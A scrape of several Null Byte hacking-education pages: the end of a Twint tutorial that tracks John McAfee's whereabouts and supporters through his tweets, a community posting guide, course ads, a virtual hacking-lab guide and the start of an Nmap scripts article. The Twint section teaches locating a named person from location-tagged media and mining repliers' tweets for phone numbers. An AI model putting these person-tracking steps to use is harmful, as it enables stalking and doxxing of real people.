validated. So in other words fuck what people think and be yourself. 1097280716466020353 2019-02-17 15:44:43 PST <BitcoinGhost1> I'm in Germany, put me in mind and I'll be ready to help.Opening the CSV file, we can see it is full of recent replies to the target, many offering support.Great, so far our investigation shows the target is a heavily armed, unrepentant tax-evader with many supporters — good news for any law enforcement agency.Step 7: Dig Deeper with Additional SearchesLet's say we now want to learn any clues about how the target has been hiding his money before announcing his tax evasion.Because the subject has made many statements about taxes since the story broke, we only want to find statements made before that period using the--yearflag. We're interested in the keywords "taxes" or "tax," so we can construct a Twint search for any post talking about taxes posted before 2018 with the following command.sudo twint -u officialmcafee -s taxes --year 2018947326031890911233 2017-12-30 20:38:21 PST <officialmcafee> When I follow someone, God gives them a new Bentley Azure. Tax free. 947325176701706241 2017-12-30 20:34:57 PST <officialmcafee> When I follow someone God himself comes down and gives them a Bentley Azure. Tax free. It used to be Ford Focus. Don't know why the upgrade. 947007111011151872 2017-12-29 23:31:04 PST <officialmcafee> As I said earlier ..... When I follow someone God himself comes down and gives them a new Bentley Azure ..... Tax free. 947005611253919744 2017-12-29 23:25:06 PST <officialmcafee> I did. But I don't believe your name is Tom. You realize, of course, that when I follow people, God himself comes down and blesses them - giving each of them a Bentley Azure - tax free. 939924816664121345 2017-12-10 10:28:33 PST <officialmcafee> Good God! Do I have to spell it out? Well ... No taxes, no regulatory problems, no traceable income, no tax accountant costs, etc,etc,etc 644436140183973888 2015-09-17 02:02:03 PST <officialmcafee> My policies now posted https://mcafee16.com/issues/  #ForeignPolicy #drugs #immigrants #tax #educate #economy #cyber +more pic.twitter.com/ugCnhKEBsLIt seems like the target has made statements about hiding money in cryptocurrency.Knowing the suspect is now on the run, we can run a search for anyone publically tweeting to the target and offering support. To do this, we'll look for people tweeting to the target with the--toflag and search for tweets likely containing contact information with the--phoneflag.We can also try to find where he is by searching for photos or video they may have posted of their whereabouts in the last week. Using the--locationflag to specify only location-tagged tweets, we can pull any tweets containing media that might let us see where the target is from the last week.sudo twint -u officialmcafee --location --since 2019-2-10 --media1096942869091356674 2019-02-16 17:22:14 PST <officialmcafee> pic.twitter.com/vbtdCI6ULP | Location House McAfee 1096932395012554754 2019-02-16 16:40:37 PST <officialmcafee> Back at the third floor of the "compound". We are just mellowing out after a day of speeding between islands in my first test of our tender (Moored alongside) pic.twitter.com/sd0ix15MPB | Location House McAfee 1096929852056395776 2019-02-16 16:30:31 PST <officialmcafee> Here is the third floor of our "Compound" right now. The "dingy" is moored alongside. pic.twitter.com/UCnRn3AoJX | Location House McAfee 1096915137087320064 2019-02-16 15:32:03 PST <officialmcafee> A boring video. But Rick took it. He's proud of it. He asked me to tweet it. I just did. He is outside of social media however, so I can dis him in this (for him) alternate universe, while I truly love him in that universe which, for me at this moment time, is alternate. pic.twitter.com/yXPdGF3oW1 | Location House McAfee 1096635092393517056 2019-02-15 20:59:15 PST <officialmcafee> Rick caught me with my harmonica attempting to regain favor with IT guy. He was way out of my league. pic.twitter.com/5HZxPKwyf8 | Location House McAfee 1096614989857738752 2019-02-15 19:39:22 PST <officialmcafee> Holy FUCK!!! My Bahamian IT guy -- whom I judged to be the dweebyest person on earth -- shows up in the band I hired for Choppy's bar for the weekend. People -- never judge. The IT guy is the sax player. pic.twitter.com/e0KW6fWIbY | Location House McAfeeOne of the first results is a video of the target steering a boat through a chain of islands. In another tweet the day before, the target films himself at a bar in Georgetown, a city in the Bahamas. Based on media posted on Twitter in the past two days, the target is on a boat off the coast of Georgetown in the Bahamas.Twitter Makes OSINT EasyIn our scenario, as a junior IRS agent learning about the subject of their first audit, we discovered our target is a heavily armed tax evader marauding around the islands of the Carribean with armor-piercing weapons. Rather than try approaching the offender ourselves, it's much more likely we'd take advantage of the extradition treaty that went into effect between the Bahamas and the United States on Sept. 22, 1994, and make apprehending the target someone else's problem.Don't Miss:Use Facial Recognition for OSINT Analysis on People & CompaniesRegardless of the type of investigation, data from social media can enrich your understanding of an event by providing a seemingly endless stream of information. From studying the interactions between users to finding alternative views of the same situation through media organized by hashtags, information shared on social media should be a part of any OSINT investigator's toolkit.I hope you enjoyed this guide to using Twitter as a source of OSINT information with Twint! If you have any questions about this tutorial on Twitter OSINT, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedNews:WhatsApp Is Now Sharing Your Data with Facebook, but Opting Out Doesn't Solve the ProblemNews:Glowing Bacteria Can Help Locate Devastating Hidden Land MinesRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Conduct Recon on a Web Target with Python ToolsNews:How Google Forcing Apps to Target Oreo Will Help with Android's Malware ProblemVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Track Down a Tinder Profile with Location Spoofing on Google ChromeHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHow To:Catch an Internet Catfish with Grabify Tracking LinksNews:Augmented Reality Turns Rock Climbing into a Real-World Video GameHow To:Scrape Target Email Addresses with TheHarvesterHow To:Use Maltego to Monitor Twitter for Disinformation CampaignsHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesAdvanced Phishing:How to Inject Meetings into Anyone's Google CalendarHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Here's How Your Apps Will Get Better Now That They Have to Target OreoHow To:Gathering Sensitive Information: Scouting Media Profiles for Target InformationHow To:Quickly Gather Target Information with Metasploit Post ModulesHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)Hack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Exploit EternalBlue on Windows Server with MetasploitHow To:Check if Your Apps Are Targeting OreoNews:Target Focuses on Mobile Web Rather Than App for AR Shopping ToolNews:Safari to Block Third-Party Tracking & AutoplayHow To:Gathering Sensitive Information: Basics & Fundamentals of DoXingNews:US Army Outfits Soldiers with Augmented Reality HeadsetsNews:Target Taps YouCam for Augmented Reality Cosmetics Web AppNews:Indie and Mainstream Online Games Shut Down by LulzSecHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Why we shouldn't rush the job searchNews:Lego Seek and Destroy TankHow To:An Exhaustive Guide to Mining and Resource Collection in MinecraftNational Ignition Facility:Big, Giant Lasers of Doom... Or Endless Energy?News:Minecraft World's Weekly Workshop: Experimenting with MinecartsNews:No One Actually Asks for a Weekly DigestHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Police Admit To Drugging Occupy Wall Street Protesters; Suspend Program
How to Post to Null Byte [4.10.15 Revision] « Null Byte :: WonderHowTo
Hello readers, and welcome to Null Byte.Before we start, for those of you who may not know me, my name is ghost_; I'm a relatively active member of our community and have been around for a while.During my time here, I've seen our community cultivate into the brilliant one we have today, people from all over the world with varying skillsets, excited to learn and help each other.Now, I know you're excited to start hacking and reenact the scenes from your favourite movies like Swordfish or The Italian Job, but first I think you should read through this to understand the appropriate way to post to Null Byte.Null Byte's LayoutFirst of all, you will notice the 5 links at the top of the page; I'm going to be walking you through those so that we have a solid understanding of the layout here.World Home:This is the entry point to Null Byte, it showcases the most recent activity here. You don't really post anything through this link, it's more of a starting point.How-To:Now some people have been getting confused with the function of the How-To section. This is where you post if you have written a step-by-step guide on hacking. Do not post things like, "How do I hack a WiFi hotspot?", because it's not for your questions.Inspiration:This is where you post if you have something you want to share with the community that you find inspiring or interesting.Forum:This is where you post your questions or discussions.Creators:This is where you find a list of the contributors in the Null Byte community, you'll noticeOccupyTheWeb,Bryan Crow, andJustin Meyersare always the top three. These three people are the administrators and moderators, everyone else is simply a user just like yourself.However, there are a few of us who have been around for a while and will gladly help you, such asCyberHitchHiker,Ciuffy,Cracker Hacker,Phoenix750and of course,myself. With that being said, we are not the only contributors around, there are a lot more who will gladly help you with questions.I know it may seem a little bit nitpicky, but organisation is very important so that people can easily navigate around the site. Please stick to this.Speaking of navigation, there is a search function at the top. If you have a question like "How do I hack a WiFi hotspot?" do a quick search here first, there's most likely already a guide available. Simply type something like "wifi hack" and you'll get all relevant results in Null Byte, neat huh?Null Byte EtiquetteNow, before you start posting like crazy, there is a bit of etiquette I feel we should cover.1.Please use the best spelling, grammar, and punctuation you know. If English is not your native language, that's okay, I said earlier that we're from all over the world. But if you have a firm grasp of the English language, please post legibly. It not only makes our lives much easier, but it simply looks better. None of this, "how do u do dis lol", or "y does dis hapen?" as it looks awful and simply degrades the quality of Null Byte. This goes the same for swearing, please refrain from doing so, it's not constructive.2.Please address one another with respect, we're not your dude, man, or bro. But particularly do not speak to OTW in that manner, he's your teacher, address him as such.3.Do a bit of digging before you post a question. Don't give up at the first obstacle, do a bit of your ownproblem solving, it's very important that you develop this skill as it's paramount to hacking. Look around the site, look in the comments sections, look offsite.With that said, I'm not discouraging you to ask for help, please do. Just do a bit of your own research before you do, you may even find the answer yourself and that feels awesome.4.Please be patient. I can understand that you're eager to hack and you may have posted your question hours ago, but we all have our own lives to live. Your question will be answered, it may just take some time.5.Do not verbally attack, degrade, or bully one another. We're all here for the same reason and no-one should have to put up with that. If you have a differing opinion to someone else, keep it to yourself or bring it up in a constructive and civil manner.If you've noticed that what someone has posted is wrong, please let them know in a constructive and civil manner.Get the pattern here? Fantastic, let's keep going.6.Plagiarism is not tolerated at all. If you find something worth sharing with the community, please share it, but provide a link back to the original source and paraphrase the parts you find interesting.Cracker Hackerrecently created apostabout this very subject, and trust me, we can and will find out very quickly if you plagiarise.7.If you are an already experienced hacker wanting to learn more techniques, first I say welcome. You may have noticed that we are a very welcoming community and we would like to keep it that way. If you decide to begin to help newbies; then please do so with the respect you have received. We do not tolerate malicious behaviour in any way, if you feel that the new user does not have enough knowledge to begin hacking, please direct them to this post here. Do not do something such as tell a newbie to run a command that will delete their OS, that kind of action will result inthis.8.Please be specific with your questions. We can't help you if you give us no information to work on. Tell us what you want to do. What your end goal is. As much information as you can possibly give us, it leaves less guesswork for us, and more accurate information for you.Where Do I Start?It can be a bit daunting at first, but there are posts to help you out. I'm going to consolidate those posts here as a starting reference for new users.Firstly, a solid, foundational understanding on computers is absolutely necessary to begin hacking. Learning the basics is important because you will always be using that knowledge, hence why it's foundational knowledge. If we look at it in terms of building a house, if you don't have a solid foundation, the rest of the building is unstable and likely to collapse. Simple, right? Therefore, you must have a good understanding of computers before you start here. It's incredibly important.The Legal Consequences of Hacking, this is a very important post. I urge you all to read this and know that there are very real consequences to what we can do and what is taught here, so please be cautious.How to Use Null Byte to Study to Become a Professional Hacker, this is a post made by OTW and it shows you his layout for the tutorials.Linux Basics for the Aspiring Hacker, Linux is the hackers OS of choice. Learn it, use it, master it. Almost all the tools available for hacking are built for Linux.Kali Linux Portability, this is a great guide made by another memberCiuffy. It's all about getting portable with Kali so that you can use it with any machine you have available. It's also pretty much become the Kali installation guide, so there's a lot of information here on Kali installations, not just in the guide itself, but in the comments section.How to Create a Virtual Hacking Lab, a big part of hacking is the practical application of it. Your knowledge is pretty useless if you can't apply it; however, hacking is illegal and can carry heavy penalties. This is where virtual labs come into play, you can create pretty much any scenario you need and then hack away.The Hacker Methodology, this goes through the steps you will need to carry out in order to perform a successful hack. Each step is significantly important, so read up and learn these backwards.Essential Skills to Becoming a Master Hacker, if you're like me and you want to make hacking into your career, you will be very interested in what exactly you'll need to know in order to be able to carry out your job. And let me tell you right now, it's a lot. But don't let that deter you, it's a lot of fun learning about all of these things.The Purpose of Null ByteNull Byte is, first and foremost, an educational community. Meaning we are here to learn, not commit crimes.We are not your personal tech support team and we are not for hire.Please do not make posts or send us emails asking us to perform a hack for you.Finally, if you make a post wanting to know how to do something simple like cracking the password for an AP, or hacking your school's network, with no intention of actually learning anything, you are a script kiddie.I, personally, don't help script kiddies and I don't think anyone else should either. Not only is it a waste of our time, but it's probably for the best that you don't know how to do whatever it is that you want to do either.If you are an existing member, please feel free to link this to new users you feel could benefit.ghost_ChangelogChangelog as of 25.9.15:Added number 6, plagiarism in the Null Byte Etiquette section.Added malicious behaviour to number 7 in the Null Byte Etiquette section.Added swearing to number 1 in the Null Byte Etiquette section.Added number 8, information when asking questions in the Null Byte Etiquette section.Added Changelog section.Added Phoenix750 to the Null Byte Layout section.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedFarewell Byte:Goodbye Alex, Welcome AllenHow Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (01/18 - 01/24)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (11/9 - 11/15)Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)A Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (12/07 - 12/13)How To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (11/23 - 11/29)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (12/28 - 01/03)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Community Byte:Coding an IRC Bot in Python (For Beginners)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)How To:Safely Log In to Your SSH Account Without a PasswordHow To:Things to Do on WonderHowTo (02/01 - 02/07)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (01/25 - 01/31)How To:Things to Do on WonderHowTo (11/30 - 12/06)How To:Things to Do on WonderHowTo (01/04 - 01/10)News:Null CommunityWeekend Homework:How to Become a Null Byte ContributorGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:Null Byte's First Technical Excellence Tutorial Contest Ends Feb. 15, 2016!Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Dropped Your Phone in Water? The Quick Response Guide to Saving Wet ElectronicsHow To:Install Linux to a Thumb DriveHow To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Customize Your Linux DesktopHow To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Things to Do on WonderHowTo (12/14 - 12/20)How To:Shorten URLs from the Command Line with PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorHow To:Run a Virtual Computer Within Your Host OS with VirtualBox
Become an In-Demand Ethical Hacker with This $15 CompTIA Course « Null Byte :: WonderHowTo
If you're interested in joining the increasingly popular and lucrative world of ethical or "white hat" hacking, you're far from alone. More and more coding and programming pros are turning to this field thanks to the high pay, countless opportunities, and exciting work environment.But this means that if you want to be competitive, you're going to need to have the right skills and certifications on your resume. TheCompTIA PenTest+ (PT0-001) Ethical Hacking Coursewill help you ace the exam for one of the field's most valuable and in-demand certifications, and it's available right now for over 90% off at just $14.99.This 10-hour prep course will help you gain the skills you need to safeguard and manage a wide range of common networks, all through lessons directly related to the CompTIA PenTest+ examination.Regardless of your previous experience with network security or administration, this extensive training package comes loaded with 67 lectures that will teach you how to find and patch vulnerabilities in networks, how to anticipate a wide range of cyber threats that can compromise company data, how to report and analyze your findings to your clients, and more.There's also plenty of instruction that will teach you how to scan networks remotely, crack passwords, intercept foreign traffic, discover code vulnerabilities that can compromise security, and run advanced system analysis tools in the field.You'll have unlimited access to all the course content for life, and it's easy to keep up with your training even when you're on the go, thanks to mobile streaming access.Get the skills and credentials you need to thrive in the exciting and lucrative world of ethical hacking. The CompTIA PenTest+ (PT0-001) Ethical Hacking Course will get you to where you need to be forjust $14.99— over 90% off its usual price.Prices are subject to change.Don't Miss Out:The CompTIA PenTest+ (PT0-001) Ethical Hacking Course for Just $14.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingNews:Becoming a HackerHow To:Become a Computer Forensics Pro with This $29 TrainingHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Become a HackerHow To:This Course Bundle Will Teach You How to Start & Grow a BusinessHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:This Is the Ultimate Course Bundle if You're Looking to Work in the CloudHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Become an In-Demand Web Developer with This $29 TrainingHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:13 Black Friday Deals on Courses That Will Beef Up Your Hacking & Programming Skill SetNews:Student Sentenced to 8mo. in Jail for Hacking Facebook7/7- Weds Pick:Carbon Leaf / Brandon Stanley @ TroubaNews:Fri Night Pick - CocoRosie @ Orpheum Theatre $28News:Win Cash!Top 10:Best Ethical Destinations for 20117/9- Fri Pick:Harlem / The Black Apples / Audacity @News:Australia cracks down on sweatshop workers in Melbourne suburbNews:Whitman Sets Record for Most Campaign Self-Financing in US HistoryScrabble Cheats:The Guilt of Playing IWI
Learn C# & Start Designing Games & Apps « Null Byte :: WonderHowTo
Learning different coding languages can be difficult. You spend so much time mastering one and getting used to thinking along the channels you need for it that learning something new can sometimes be more difficult than starting from scratch. Starting from scratch, notably, is also difficult.The Complete C# Programming Bundle: Lifetime Accessis designed to give you a comprehensive look at coding with C#, one of the most common coding languages, particularly for Windows and game design. Right now, The Complete C# Programming Bundle is on sale for only $29.This bundle is perfect for those completely new to C#, whether that means you have other coding experience or are completely starting out. In classes like "C# Basics: Learn to Code the Right Way" and "C Programming For Beginners," you will take the first steps toward the mastery of this diverse coding language. These two courses, in particular, are designed to take you step by step through the process of coding with C#, so you will quickly gain the experience you'll need to start doing more fun things like game design.While it's great for Windows, there are also complete classes on creating Android and iOS apps.Many of the courses in this bundle cover game design because it is one of the dominant niches in programming besidescybersecurityand IT. One of the benefits of coding with C# is that it isn't as limited to one platform as some other coding languages. With C# and this bundle, you candesign games for mobile devices and consolesalike. In "Learn to Code in C#: Make a Multiplayer Unity Game," you will even learn the process of applying your new knowledge in C# toward making a real multiplayer game.This seven-course bundle is everything you need to get a running start into coding with C#. You can get started bygetting The Complete C# Programming Bundle: Lifetime Access while it's on salefor $29.Prices subject to change.Don't Miss Out:The Complete C# Programming Bundle: Lifetime Access for Just $29Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityHow To:Play Beethoven's "Moonlight Sonata" in C# minorHow To:Design Your Own Video Games with This Pay What You Want BundleHow To:Write a simple dictionary program in C#How To:Get the application path for an app written in C#How To:Play "Until You're Mine" by Demi Lovato on guitarHow To:Play "Year 3000" by Jonas Brothers on pianoHow To:Add, save & retrieve data in SQL Server using C# programming & Visual StudioHow To:Play "Drown In My Own Tears" by Ray Charles on pianoHow To:Play "One Step At A Time" by Jordin SparksHow To:Get started programming C# in Visual Studio 2008How to Program in C#:Introduction to the Basics (Part 1)ARCore 101:How to Create a Mobile AR Application in Unity, Part 3 (Setting Up the App Controller)How To:Respond to an C#/Xna game window resize eventHow To:Resize Xna game windows using C#How To:Create reports & pass parameters in C# programming with Visual StudioHow To:Create a class, object & add members to the class in Visual Studio using C#How To:Declare and add data to arrays in C# programmingHow To:Play "When you Look Me in the Eyes" on pianoHow To:Write C# code with Microsoft Visual C# 2005How To:Create a RSS reader app in Visual C# 2005 ExpressNews:.NET DCPU-16 EmulatorOctodad:An Award Winning Game… From College StudentsHow To:Create a Simple, Hidden Console Keylogger in C# SharpHow To:Write your first C# application in Visual C#News:Hideo Kojima and Fox Engine Make Special USC AppearanceNews:Freemium Games Start Their US Invasion on the iOS FrontNews:Microsoft Ribbon HeroNews:Project Zomboid Has More Problems than the Guy in this ScreenshotHow To:Use and work with XML documents in a C# applicationNews:A Quick Homage to Our BenefactorNews:The 5 Best Word Game Mobile Apps Besides ScrabbleHow To:A Gamer's Guide to Video Game Software, Part 3: Making Games with GamesNews:Finally! A Practical Use for Arcade Game SkillsHow To:Live Your Dream as a Video Game Developer! Get the Free Career Guide NowScramble with Friends:Zynga's Newly Released Word Game for iOSNews:Welcome to FrontierVille WorldHow To:Use the List View control in Microsoft Visual C# 2005News:W.E.L.D.E.R. Blends Bejeweled, Boggle and Scrabble into Word-Building AddictionWonderment Blog:AR Holographic Tattoos
Hack Like a Pro: How to Create a Virtual Hacking Lab « Null Byte :: WonderHowTo
Welcome back, my amateur hackers!Many of you here are new tohacking. If so, I strongly recommend that each of you set up a "laboratory" to practice your hacks. Just like any discipline, you need to practice, practice, and practice some more before you take it out to the real world.In many disciplines, if you don't practice, you fall victim to failure. In our discipline, if you don't practice and fail, you may be serving years behind bars. This makes practice and a dedicated practice lab an even more compelling argument than with other disciplines.Many of you have been having difficulty setting up your hacking environment to practice your hacks. In this tutorial, I will show you thesimplest and fastestway to set up a lab to practice your hacks before taking them out into the real world where any slip-ups could be devastating!Step 1: Download VMware Workstation or PlayerThe best way to practice hacking is within a virtual environment. Essentially, you set up a hacking system, such asKali Linux, and some victims to exploit. Ideally, you would want multiple operating systems (Windows XP, Vista, 7, and 8, as well as aLinuxflavor) and applications so that you can try out a variety of hacks.Virtual machines and a virtual network are the best and safest way to set up a hacking lab. There are several virtualization systems out there, includingCitrix, Oracle'sVirtualBox,KVM, Microsoft'sVirtual PCandHyper-V, and VMware'sWorkstation,VMware PlayerandESXi. For a laboratory environment, I strongly recommend VMware's Workstation or Player. Workstation is commercial product that costs under $200, while Player is free. You can also get a free 30-day trial of Workstation.Player is limited to just playing VMs, while Workstation can both create and play VMs. Let's download VMware's Workstation or Playerhere.Step 2: Download Kali VMware ImagesOnce you have downloaded and installed your virtualization system, our next step is to download theVMware images of Kaliprovided by Offensive Security. With these images, you won't have to create the virtual machine, but simply run it from Workstation or Player—Offensive Security has already created this image for you. This means that once you have downloaded the VM of Kali, you can then use it in either Workstation or Player.Step 3: Unzip ImagesOnce you have completed the download, you will need to unzip the files. There are numerous zip utilities available for free including7-Zip,WinZip,WinArchiver, etc. Download and install one and unzip the files. In the screenshot below, I have downloaded the free trial of WinZip and have used it to unzip the Kali files.Step 4: Open VMware ImageOnce all the files have been unzipped, our next step is to open this new virtual machine. Make note of the location where you have unzipped the virtual machine image. Then, go to either VMware Workstation or Player and go toFile -> Openlike in the screenshot below.This will open a window like that in the screenshot below. You can see that my Kali image was stored under documents, so I browse there and double-click on the folder.When I do so, it reveals the VMware virtual machine file that I will load into VMware. Note that I am using the "amd64" version, which is simply the 64-bit version, but the 32-bit version will work, as well, albeit a bit slower.When you do so, VMware will start your virtual machine and greet you with a screen like below.Click on the green button in the upper left below "Kali-Linux-1.0.9-vm-amd64" that says "Power on this virtual machine." You should be greeted by the now familiar Kali screen like below.Simply use the user "root" and password "toor" to get started hacking!Step 5: Download & Install TargetsFor the next step, you need to download and install a target system. Of course, you could use your own host Windows 7 or 8 system, but since this is practice, you might want to use an older, easier to hack system. In addition, hacking your own system can leave it unstable and damaged.I recommend installing a Windows XP, Vista, Server 2003, or an older version of Linux. These systems have many known security flaws that you can practice on and, then when you become more proficient at hacking, you can then upgrade to Windows 7 and 8 and newer versions of Linux.If you or your friends don't have a copy of these older operating systems, you can purchase them very inexpensively many places on the Internet. For instance, at last check there are numerous copies available on eBay for as low as $9.95.Of course, you can also obtain these operating systems for free on many of the torrent sites, but BEWARE... you will likely be downloadingmore than just the operating systems. VERY often, these free downloads includerootkitsthat will embed in your system when you open the file.In addition, older versions of Linux are available from the distributor or via torrent sites, as well.Step 6: Download Old ApplicationsOnce you have your operating system in place, very often you will need applications to run on these older versions of the Windows and Linux operating systems. You will likely need a browser, Office, Adobe products, etc. These older products have well-known security flaws that you can hone your skills on.I like the siteOld Appsto download many of these. Of course, once again, you can obtain these from many of the torrent sites with the same caveat as above of you might get more than you bargained for.I'm hoping that this brief tutorial is helpful to some of you who have had difficulty setting up Kali and a lab, and now we can get back toour work of hacking, my amateur hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Create a Smartphone Pentesting LabNews:How to Study for the White Hat Hacker Associate Certification (CWA)Brief Reality:AR Goes Green in HackathonHacking Android:How to Create a Lab for Android Penetration TestingHow To:Hack Club Penguin for loads of money (03/22/09)How To:XDA Labs Makes Installing Third-Party Apps & Hacks EasyNews:One of the Best Android File Managers Is Finally on the Play StoreApple AR:Virtual Dog Demo by Ridgeline Could Be the New TamagotchiNews:Startup Light Field Lab Lands $28 Million in Funding from Samsung, Verizon, & Comcast for Holographic DisplaysHow To:Ingress, Google's Awesome New Mind-Hacking AR Game for Android Phones Now in Beta!How To:Broken Buttons on Your Android Phone? Use This On-Screen Navigation Bar Instead (No Root Needed)Market Reality:Businesses Invest in the Expansion of AR Services & Content CreationHow To:Save Battery When Playing YouTube Music on Your Galaxy, Pixel, or Other AMOLED DeviceNova Launcher 101:How to Unlock the Hidden 'Labs' Menu for Experimental FeaturesNews:Virtual Labs Finding your Etsy NicheThe Film Lab:Chroma Keying in Final Cut ProTHE FILM LAB:Intro to Final Cut Pro - 03THE FILM LAB:Intro to Final Cut Pro - 02News:Networking Virtual Machines Using VDETHE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01How To:do a dolly zoom in-camera effect shot, Sam RaimNull Byte:Never Let Us DieNews:THE FILM LAB - Make a BEST PICTURE Oscar-winnerTHE FILM LAB:Our Latest Equipment Upgrade: iPhone 4THE FILM LAB:SUMMERHOOD - Jacob Medjuck Interview #1THE FILM LAB - On Location #4:Lighting GagsNews:THE FILM LAB - Dutch TiltTHE FILM LAB - On Location #3:GripsNews:Welcome to The Film Lab!
Advanced Nmap: Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should Know « Null Byte :: WonderHowTo
Nmap is more powerful than you know. With a few scripts, we can extend its functionality beyond a simple port scanner and start to identify details about target servers sysadmins don't want us to know.Possibly the most popular and well-known reconnaissance tool currently available in the hacking world, Nmap has beencovered several timeson Null Byte before. For example, we've shown how todetect CVEs,automate brute-force attacks, andperform advanced reconnaissance, to name just a few Nmap tutorials.This article assumes readers have some experience withthe Nmap basics. I'll be targetting ports 80 and 443 (-p80,443) with most of the commands, as these are common web server ports. I'll also be engagingNmap's NSE functionswith the--scriptargument.Don't Miss:Using the Nmap Scripting Engine (NSE) for ReconnaissanceMost-known for its ability to accurately fingerprint ports on web servers, Nmap's NSE functionalities make it an extremely powerful, multipurpose tool, scaling it far beyond an ordinary port scanner. In this multi-part Nmap series, I'll be showing off some of its more advanced capabilities for aggressively discovering web server error pages, web application firewall fingerprints, subdomains, and extracting metadata from photos.Disclaimer: Theintrusive Nmap scriptsexhaust significate resources (CPU and bandwidth) on the target web server and may cause it to crash, break, or unintentionally inflict denial of service attacks. Based on the scope of your penetration testing engagement, this may not be allowed by a given employer. Pentester's should use the below scripts with caution.Update Nmap on Your Kali SystemBefore we dive into Nmap scripts, let's first make sure we have the latest available version of Nmap installed on our Kali Linux system. At the time of this writing, Kali is offering v7.70.Nmap can be installed using the belowapt-getcommands.apt-get update && apt-get install nmapWhen that's done, we can verify it was installed with the--versionargument.nmap --version Nmap version 7.70 ( https://nmap.org ) Platform: x86_64-pc-linux-gnu Compiled with: liblua-5.3.3 openssl-1.1.0h libssh2-1.8.0 libz-1.2.11 